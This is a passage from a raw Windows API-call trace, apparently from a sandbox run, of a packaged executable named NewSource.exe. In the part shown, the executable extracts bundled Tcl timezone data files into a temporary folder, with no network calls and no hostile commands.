lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Vancouver") returned 74 [0039.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Vancouver" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\vancouver"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.691] GetLastError () returned 0x2 [0039.691] SetLastError (dwErrCode=0x2) [0039.691] GetLastError () returned 0x2 [0039.691] SetLastError (dwErrCode=0x2) [0039.691] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Vancouver", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Vancouver", lpFilePart=0x0) returned 0x49 [0039.691] GetLastError () returned 0x2 [0039.691] SetLastError (dwErrCode=0x2) [0039.691] GetLastError () returned 0x2 [0039.691] SetLastError (dwErrCode=0x2) [0039.691] GetLastError () returned 0x2 [0039.691] SetLastError (dwErrCode=0x2) [0039.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Vancouver") returned 74 [0039.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Vancouver" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\vancouver"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.692] GetFileType (hFile=0x10c) returned 0x1 [0039.692] htonl (hostlong=0x17250000) returned 0x2517 [0039.692] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.695] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.695] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x517, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x517, lpOverlapped=0x0) returned 1 [0039.696] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.696] CloseHandle (hObject=0x10c) returned 1 [0039.696] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.697] htonl (hostlong=0x30000000) returned 0x30 [0039.697] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.697] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.697] GetFileType (hFile=0x10c) returned 0x1 [0039.697] htonl (hostlong=0x3b765a00) returned 0x5a763b [0039.697] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f263b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.698] htonl (hostlong=0x8d000000) returned 0x8d [0039.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0039.698] htonl (hostlong=0x8d000000) returned 0x8d [0039.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.698] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.698] htonl (hostlong=0xbd000000) returned 0xbd [0039.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbd) returned 0x55d428 [0039.698] htonl (hostlong=0x8d000000) returned 0x8d [0039.698] htonl (hostlong=0xbd000000) returned 0xbd [0039.698] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.699] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.699] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.699] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.699] CloseHandle (hObject=0x10c) returned 1 [0039.699] GetLastError () returned 0x0 [0039.699] SetLastError (dwErrCode=0x0) [0039.699] GetLastError () returned 0x0 [0039.699] SetLastError (dwErrCode=0x0) [0039.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.699] GetFileType (hFile=0x10c) returned 0x1 [0039.699] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.699] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.699] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.699] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.699] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.699] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.699] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.699] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.699] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.699] CloseHandle (hObject=0x10c) returned 1 [0039.699] GetLastError () returned 0x0 [0039.699] SetLastError (dwErrCode=0x0) [0039.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.700] GetFileType (hFile=0x10c) returned 0x1 [0039.700] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.700] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.700] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.700] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.701] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.701] CloseHandle (hObject=0x10c) returned 1 [0039.701] GetLastError () returned 0x0 [0039.701] SetLastError (dwErrCode=0x0) [0039.701] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.702] GetFileType (hFile=0x10c) returned 0x1 [0039.702] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.702] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.702] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.702] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.702] CloseHandle (hObject=0x10c) returned 1 [0039.702] GetLastError () returned 0x0 [0039.702] SetLastError (dwErrCode=0x0) [0039.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Virgin") returned 71 [0039.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Virgin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\virgin"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.702] GetLastError () returned 0x2 [0039.702] SetLastError (dwErrCode=0x2) [0039.702] GetLastError () returned 0x2 [0039.702] SetLastError (dwErrCode=0x2) [0039.702] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Virgin", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Virgin", lpFilePart=0x0) returned 0x46 [0039.702] GetLastError () returned 0x2 [0039.702] SetLastError (dwErrCode=0x2) [0039.702] GetLastError () returned 0x2 [0039.702] SetLastError (dwErrCode=0x2) [0039.702] GetLastError () returned 0x2 [0039.703] SetLastError (dwErrCode=0x2) [0039.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Virgin") returned 71 [0039.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Virgin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\virgin"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.703] GetFileType (hFile=0x10c) returned 0x1 [0039.703] htonl (hostlong=0xbd000000) returned 0xbd [0039.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.703] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbd, lpOverlapped=0x0) returned 1 [0039.705] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.705] CloseHandle (hObject=0x10c) returned 1 [0039.705] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d428 | out: hHeap=0x530000) returned 1 [0039.705] htonl (hostlong=0x30000000) returned 0x30 [0039.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.706] GetFileType (hFile=0x10c) returned 0x1 [0039.706] htonl (hostlong=0xc8765a00) returned 0x5a76c8 [0039.706] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f26c8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.706] htonl (hostlong=0xf6050000) returned 0x5f6 [0039.706] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5f6) returned 0x550600 [0039.706] htonl (hostlong=0xf6050000) returned 0x5f6 [0039.706] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.706] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.706] htonl (hostlong=0xbd1d0000) returned 0x1dbd [0039.706] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1dbd) returned 0x561090 [0039.706] htonl (hostlong=0xf6050000) returned 0x5f6 [0039.706] htonl (hostlong=0xbd1d0000) returned 0x1dbd [0039.706] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e58 [0039.706] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e58 | out: hHeap=0x530000) returned 1 [0039.706] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.706] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.706] CloseHandle (hObject=0x10c) returned 1 [0039.706] GetLastError () returned 0x0 [0039.706] SetLastError (dwErrCode=0x0) [0039.706] GetLastError () returned 0x0 [0039.706] SetLastError (dwErrCode=0x0) [0039.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.707] GetFileType (hFile=0x10c) returned 0x1 [0039.707] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.707] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.707] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.707] CloseHandle (hObject=0x10c) returned 1 [0039.707] GetLastError () returned 0x0 [0039.707] SetLastError (dwErrCode=0x0) [0039.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.707] GetFileType (hFile=0x10c) returned 0x1 [0039.707] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.707] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.707] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.707] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.708] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.708] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.708] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.708] CloseHandle (hObject=0x10c) returned 1 [0039.708] GetLastError () returned 0x0 [0039.708] SetLastError (dwErrCode=0x0) [0039.708] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.708] GetFileType (hFile=0x10c) returned 0x1 [0039.708] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.708] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.708] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.708] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.708] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.708] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.708] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.708] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.708] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.708] CloseHandle (hObject=0x10c) returned 1 [0039.708] GetLastError () returned 0x0 [0039.708] SetLastError (dwErrCode=0x0) [0039.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Whitehorse") returned 75 [0039.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Whitehorse" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\whitehorse"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.709] GetLastError () returned 0x2 [0039.709] SetLastError (dwErrCode=0x2) [0039.709] GetLastError () returned 0x2 [0039.709] SetLastError (dwErrCode=0x2) [0039.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Whitehorse", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Whitehorse", lpFilePart=0x0) returned 0x4a [0039.709] GetLastError () returned 0x2 [0039.709] SetLastError (dwErrCode=0x2) [0039.709] GetLastError () returned 